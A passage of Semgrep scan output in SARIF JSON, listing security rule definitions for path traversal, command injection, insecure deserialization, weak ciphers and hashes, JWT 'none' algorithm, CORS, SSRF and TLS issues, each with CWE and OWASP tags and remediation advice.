to."},"help":{"markdown":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-file-access.avoid-tainted-file-access)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown)\n","text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-file-access.avoid-tainted-file-access","id":"ruby.rails.security.audit.avoid-tainted-file-access.avoid-tainted-file-access","name":"ruby.rails.security.audit.avoid-tainted-file-access.avoid-tainted-file-access","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.avoid-tainted-file-access.avoid-tainted-file-access"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list."},"help":{"markdown":"User data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.os-system-injection.os-system-injection)\n - [https://owasp.org/www-community/attacks/Command_Injection](https://owasp.org/www-community/attacks/Command_Injection)\n","text":"User data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.os-system-injection.os-system-injection","id":"python.flask.security.injection.os-system-injection.os-system-injection","name":"python.flask.security.injection.os-system-injection.os-system-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.os-system-injection.os-system-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of the 'blocksize' argument in a HTTPConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below."},"help":{"markdown":"Found usage of the 'blocksize' argument in a HTTPConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-httpconn)\n","text":"Found usage of the 'blocksize' argument in a HTTPConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-httpconn","id":"python.lang.compatibility.python37.python37-compatibility-httpconn","name":"python.lang.compatibility.python37.python37-compatibility-httpconn","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-httpconn"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-shelve-flask.tainted-shelve-flask)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://docs.python.org/3/library/shelve.html](https://docs.python.org/3/library/shelve.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-shelve-flask.tainted-shelve-flask","id":"python.flask.deserialization.tainted-shelve-flask.tainted-shelve-flask","name":"python.flask.deserialization.tainted-shelve-flask.tainted-shelve-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-shelve-flask.tainted-shelve-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY."},"help":{"markdown":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ecb-cipher.ecb-cipher)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ecb-cipher.ecb-cipher","id":"java.lang.security.audit.crypto.ecb-cipher.ecb-cipher","name":"java.lang.security.audit.crypto.ecb-cipher.ecb-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ecb-cipher.ecb-cipher"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.jwt.security.jwt-none-alg.jwt-python-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/python.jwt.security.jwt-none-alg.jwt-python-none-alg","id":"python.jwt.security.jwt-none-alg.jwt-python-none-alg","name":"python.jwt.security.jwt-none-alg.jwt-python-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.jwt.security.jwt-none-alg.jwt-python-none-alg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pandas-pickle-aws-lambda.tainted-pandas-pickle-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pandas-pickle-aws-lambda.tainted-pandas-pickle-aws-lambda","id":"python.aws-lambda.deserialization.tainted-pandas-pickle-aws-lambda.tainted-pandas-pickle-aws-lambda","name":"python.aws-lambda.deserialization.tainted-pandas-pickle-aws-lambda.tainted-pandas-pickle-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-pandas-pickle-aws-lambda.tainted-pandas-pickle-aws-lambda"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"This rule has been deprecated, as all s3 buckets are encrypted by default with no way to disable it. See https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket_server_side_encryption_configuration for more info."},"help":{"markdown":"This rule has been deprecated, as all s3 buckets are encrypted by default with no way to disable it. See https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket_server_side_encryption_configuration for more info.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.s3-unencrypted-bucket.s3-unencrypted-bucket)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#server_side_encryption_configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#server_side_encryption_configuration)\n - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucket-encryption.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucket-encryption.html)\n","text":"This rule has been deprecated, as all s3 buckets are encrypted by default with no way to disable it. See https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket_server_side_encryption_configuration for more info."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.s3-unencrypted-bucket.s3-unencrypted-bucket","id":"terraform.lang.security.s3-unencrypted-bucket.s3-unencrypted-bucket","name":"terraform.lang.security.s3-unencrypted-bucket.s3-unencrypted-bucket","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.s3-unencrypted-bucket.s3-unencrypted-bucket"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"help":{"markdown":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.symfony.security.audit.symfony-permissive-cors.symfony-permissive-cors)\n - [https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Access-Control-Allow-Origin](https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Access-Control-Allow-Origin)\n","text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"helpUri":"https://semgrep.dev/r/php.symfony.security.audit.symfony-permissive-cors.symfony-permissive-cors","id":"php.symfony.security.audit.symfony-permissive-cors.symfony-permissive-cors","name":"php.symfony.security.audit.symfony-permissive-cors.symfony-permissive-cors","properties":{"precision":"very-high","tags":["CWE-346: Origin Validation Error","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.symfony.security.audit.symfony-permissive-cors.symfony-permissive-cors"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-httplib2.tainted-fastapi-http-request-httplib2)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-httplib2.tainted-fastapi-http-request-httplib2","id":"python.fastapi.net.tainted-fastapi-http-request-httplib2.tainted-fastapi-http-request-httplib2","name":"python.fastapi.net.tainted-fastapi-http-request-httplib2.tainted-fastapi-http-request-httplib2","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-httplib2.tainted-fastapi-http-request-httplib2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md5.insecure-hash-algorithm-md5)\n - [https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms](https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature.  Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md5.insecure-hash-algorithm-md5","id":"python.pycryptodome.security.insecure-hash-algorithm-md5.insecure-hash-algorithm-md5","name":"python.pycryptodome.security.insecure-hash-algorithm-md5.insecure-hash-algorithm-md5","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-hash-algorithm-md5.insecure-hash-algorithm-md5"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cluster is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecure-skip-tls-verify: true' key to secure communication."},"help":{"markdown":"Cluster is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecure-skip-tls-verify: true' key to secure communication.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.skip-tls-verify-cluster.skip-tls-verify-cluster)\n - [https://kubernetes.io/docs/reference/config-api/client-authentication.v1beta1/#client-authentication-k8s-io-v1beta1-Cluster](https://kubernetes.io/docs/reference/config-api/client-authentication.v1beta1/#client-authentication-k8s-io-v1beta1-Cluster)\n","text":"Cluster is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecure-skip-tls-verify: true' key to secure communication."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.skip-tls-verify-cluster.skip-tls-verify-cluster","id":"yaml.kubernetes.security.skip-tls-verify-cluster.skip-tls-verify-cluster","name":"yaml.kubernetes.security.skip-tls-verify-cluster.skip-tls-verify-cluster","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.skip-tls-verify-cluster.skip-tls-verify-cluster"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a request using 'http://'. This request will be unencrypted, and attackers could listen into traffic on the network and be able to obtain sensitive information. Use 'https://' instead."},"help":{"markdown":"Detected a request using 'http://'. This request will be unencrypted, and attackers could listen into traffic on the network and be able to obtain sensitive information. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-with-http.request-with-http)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected a request using 'http://'. This request will be unencrypted, and attackers could listen into traffic on the network and be able to obtain sensitive information. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-with-http.request-with-http","id":"python.lang.security.audit.insecure-transport.requests.request-with-http.request-with-http","name":"python.lang.security.audit.insecure-transport.requests.request-with-http.request-with-http","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.requests.request-with-http.request-with-http"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands."},"help":{"markdown":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-spawn-process.dangerous-spawn-process)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-spawn-process.dangerous-spawn-process","id":"python.lang.security.dangerous-spawn-process.dangerous-spawn-process","name":"python.lang.security.dangerous-spawn-process.dangerous-spawn-process","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-spawn-process.dangerous-spawn-process"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure all Elasticsearch has node-to-node encryption enabled.\t"},"help":{"markdown":"Ensure all Elasticsearch has node-to-node encryption enabled.\t\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-elasticsearch-nodetonode-encryption.aws-elasticsearch-nodetonode-encryption-not-enabled)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure all Elasticsearch has node-to-node encryption enabled.\t"},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-elasticsearch-nodetonode-encryption.aws-elasticsearch-nodetonode-encryption-not-enabled","id":"terraform.aws.security.aws-elasticsearch-nodetonode-encryption.aws-elasticsearch-nodetonode-encryption-not-enabled","name":"terraform.aws.security.aws-elasticsearch-nodetonode-encryption.aws-elasticsearch-nodetonode-encryption-not-enabled","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-elasticsearch-nodetonode-encryption.aws-elasticsearch-nodetonode-encryption-not-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The function base_convert uses 64-bit numbers internally, and does not correctly convert large numbers. It is not suitable for random tokens such as those used for session tokens or CSRF tokens."},"help":{"markdown":"The function base_convert uses 64-bit numbers internally, and does not correctly convert large numbers. It is not suitable for random tokens such as those used for session tokens or CSRF tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.base-convert-loses-precision.base-convert-loses-precision)\n - [https://www.php.net/base_convert](https://www.php.net/base_convert)\n - [https://www.sjoerdlangkemper.nl/2017/03/15/dont-use-base-convert-on-random-tokens/](https://www.sjoerdlangkemper.nl/2017/03/15/dont-use-base-convert-on-random-tokens/)\n","text":"The function base_convert uses 64-bit numbers internally, and does not correctly convert large numbers. It is not suitable for random tokens such as those used for session tokens or CSRF tokens."},"helpUri":"https://semgrep.dev/r/php.lang.security.base-convert-loses-precision.base-convert-loses-precision","id":"php.lang.security.base-convert-loses-precision.base-convert-loses-precision","name":"php.lang.security.base-convert-loses-precision.base-convert-loses-precision","properties":{"precision":"very-high","tags":["CWE-190: Integer Overflow or Wraparound","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.base-convert-loses-precision.base-convert-loses-precision"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization-sls.objectinputstream-deserialization-sls)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"helpUri":"https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization-sls.objectinputstream-deserialization-sls","id":"java.micronaut.deserialization.objectinputstream-deserialization-sls.objectinputstream-deserialization-sls","name":"java.micronaut.deserialization.objectinputstream-deserialization-sls.objectinputstream-deserialization-sls","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.deserialization.objectinputstream-deserialization-sls.objectinputstream-deserialization-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of RC4 was detected. RC4 is vulnerable to several attacks, including stream cipher attacks and bit flipping attacks. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of RC4 was detected. RC4 is vulnerable to several attacks, including stream cipher attacks and bit flipping attacks. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc4.use-of-rc4)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of RC4 was detected. RC4 is vulnerable to several 